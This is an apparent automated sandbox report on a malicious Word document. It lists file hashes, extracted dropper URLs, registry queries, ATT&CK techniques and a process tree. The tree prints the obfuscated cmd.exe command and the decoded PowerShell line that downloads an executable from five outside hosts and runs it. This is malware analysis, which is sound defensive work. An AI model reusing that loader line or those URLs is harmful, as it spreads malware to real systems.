0037e6079060778b28b892eb8dcca7e28ca36f26a4f36d8dc53838d6d722b318

General

Target

0037e6079060778b28b892eb8dcca7e28ca36f26a4f36d8dc53838d6d722b318.doc
Size

124KB
MD5

b6e13c6a1d437ed02509be01dd334983
SHA1

a12ee91c820278590d58f0f846067992c1aa1053
SHA256

0037e6079060778b28b892eb8dcca7e28ca36f26a4f36d8dc53838d6d722b318
SHA512

8bfc1ffaaa45a8d7f6add5c51e7d1e8e62c95b71b7f76905e3a497f9957227991cd7eef477bc073483d375a3dadaef46d2d7e7376ed170a636fcd194b5836cba

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://www.novasystemsindustria.eu/cJcton

exe.dropper

http://velvet.com.br/2T6r4fYa

exe.dropper

http://www.batikentemlak.org/dEXSJO5y

exe.dropper

http://tongkhosoncongnghiep.com/DiJuOX

exe.dropper

http://www.fibraoptica.ro/8fG

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	1160	3068	CMd.exe	83

Blocklisted process makes network request 4 IoCs

flow	pid	Process
46	2392	powershell.exe
49	2392	powershell.exe
73	2392	powershell.exe
76	2392	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3068	WINWORD.EXE
3068	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2392	powershell.exe
2392	powershell.exe
2392	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2392	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
3068	WINWORD.EXE
3068	WINWORD.EXE
3068	WINWORD.EXE
3068	WINWORD.EXE
3068	WINWORD.EXE
3068	WINWORD.EXE
3068	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3068 wrote to memory of 1160	3068	WINWORD.EXE	89
PID 3068 wrote to memory of 1160	3068	WINWORD.EXE	89
PID 1160 wrote to memory of 2392	1160	CMd.exe	97
PID 1160 wrote to memory of 2392	1160	CMd.exe	97

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0037e6079060778b28b892eb8dcca7e28ca36f26a4f36d8dc53838d6d722b318.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3068
- C:\Windows\SYSTEM32\CMd.exe
  CMd \/ // //// / \ / /V:O/C"set ]}*~=027a 072a 07a2 0a72 207a 2a70 0a72 270a 72a0 7a02 a027 a207 02a7 a702 720a 7a02 72a0 7a02}207a}a072{027aha270ca720t720aaa702c20a7}720a;027ak2a07aa702e072ar7a02b270a;a720J20a7i0a72W27a0$207a 20a7ma270e2a07ta027I70a2-07a2e270ak072ao20a7va702n20a7I072a;07a2)20a7J2a70ia720W702a$7a02 27a0,20a7Ta027D02a7v70a2$a072(20a7e027al72a0ia270F072ad70a2a7a02oa702l2a70n27a0w702aoa702Da207.a207C0a27T207ar27a0$a027{7a20y270ar2a70t0a27{2a07)a270N2a70K20a7ra072$a072 70a2n27a0i0a72 720aT0a72Da207v720a$a702(a702h207ac027aa27a0e0a27ra027o7a20f27a0;2a70'702ae0a27x27a0ea270.a270'7a02+0a27i0a27z072aia207$2a07+02a7'20a7\072a'702a+72a0ca072i072al720ab027au2a07p02a7:27a0va702n702ae70a2$2a07=7a02J027ai0a27Wa702$2a07;2a70'70a262a7052a071a270'207a 07a2=a270 02a7ia027za270ia207$027a;a270)2a70'a027@0a27'7a20(20a7t2a07ia072l072ap2a07S072a.7a02'7a02G072af270a82a70/a270o70a2r0a72.702aa07a2c20a7i20a7t07a2pa702o72a0a720ar2a07b20a7i2a70f7a20.2a70wa027w20a7w20a7/02a7/02a7:0a72pa720ta720ta270h720a@072aX072aOa027ua702J72a0i2a70D27a0/0a72ma072o207aca270.072apa207e7a20i20a7h027ag027an7a02g027an027ao7a20c70a2n0a27o0a27sa027o2a70ha270k072ag027an2a70o702ata072/027a/02a7:0a27pa207t702at27a0h7a02@20a7y027a507a2O72a0Ja720S702aX20a7E7a02da207/72a0ga072r072aoa702.70a2k2a07a72a0l072am072ae270ata702n720ae72a0k072aia072t27a0a20a7b702a.2a70w7a20w07a2w02a7/720a/7a02:07a2p07a2t07a2t720ah20a7@720aaa270Y072af27a0470a2ra0276a270T7a02227a0/2a07r2a70b270a.a270ma072oa207c027a.027at07a2ea027v7a20l20a7e7a20v72a0/027a/720a:0a72p072at0a72ta072ha720@072ana072o207ata072ca720Ja027c2a70/207au7a20e072a.a027a02a7i20a7r702at27a0s0a72u72a0d7a02na270i7a20s702am027aea072t270as0a72ya270sa027a7a20va027oa207n72a0.702aw0a27w027awa270/20a7/720a:72a0pa720t207at2a07h7a20'70a2=2a07N0a27K027ar0a72$7a02;a720ta207n0a72e2a07i70a2l0a27C720aba270e072aW207a.2a07t02a7e27a0N0a27 207at072ac027ae7a20j72a0ba720oa072-a207wa702e207an0a72=702aC20a7T0a72r072a$270a a207l207al2a07e02a7ha702s7a02r20a7ea270wa270oa720p&&for /L %g in (1944,-5,4)do set .#=!.#!!]}*~:~%g,1!&&if %g leq 4 call %.#:~-389%"
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1160
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell $rTC=new-object Net.WebClient;$rKN='http://www.novasystemsindustria.eu/cJcton@http://velvet.com.br/2T6r4fYa@http://www.batikentemlak.org/dEXSJO5y@http://tongkhosoncongnghiep.com/DiJuOX@http://www.fibraoptica.ro/8fG'.Split('@');$izi = '156';$WiJ=$env:public+'\'+$izi+'.exe';foreach($vDT in $rKN){try{$rTC.DownloadFile($vDT, $WiJ);Invoke-Item $WiJ;break;}catch{}}
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2392

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2392-140-0x00007FFB47B80000-0x00007FFB48641000-memory.dmp

Filesize
10.8MB

Download
memory/2392-139-0x000001E5A6E30000-0x000001E5A6E52000-memory.dmp

Filesize
136KB

Download
memory/3068-133-0x00007FFB345B0000-0x00007FFB345C0000-memory.dmp

Filesize
64KB

Download
memory/3068-135-0x00007FFB31F80000-0x00007FFB31F90000-memory.dmp

Filesize
64KB

Download
memory/3068-136-0x00007FFB31F80000-0x00007FFB31F90000-memory.dmp

Filesize
64KB

Download
memory/3068-134-0x00007FFB345B0000-0x00007FFB345C0000-memory.dmp

Filesize
64KB

Download
memory/3068-130-0x00007FFB345B0000-0x00007FFB345C0000-memory.dmp

Filesize
64KB

Download
memory/3068-132-0x00007FFB345B0000-0x00007FFB345C0000-memory.dmp

Filesize
64KB

Download
memory/3068-131-0x00007FFB345B0000-0x00007FFB345C0000-memory.dmp

Filesize
64KB

Download
memory/3068-142-0x00007FFB345B0000-0x00007FFB345C0000-memory.dmp

Filesize
64KB

Download
memory/3068-143-0x00007FFB345B0000-0x00007FFB345C0000-memory.dmp

Filesize
64KB

Download
memory/3068-144-0x00007FFB345B0000-0x00007FFB345C0000-memory.dmp

Filesize
64KB

Download
memory/3068-145-0x00007FFB345B0000-0x00007FFB345C0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads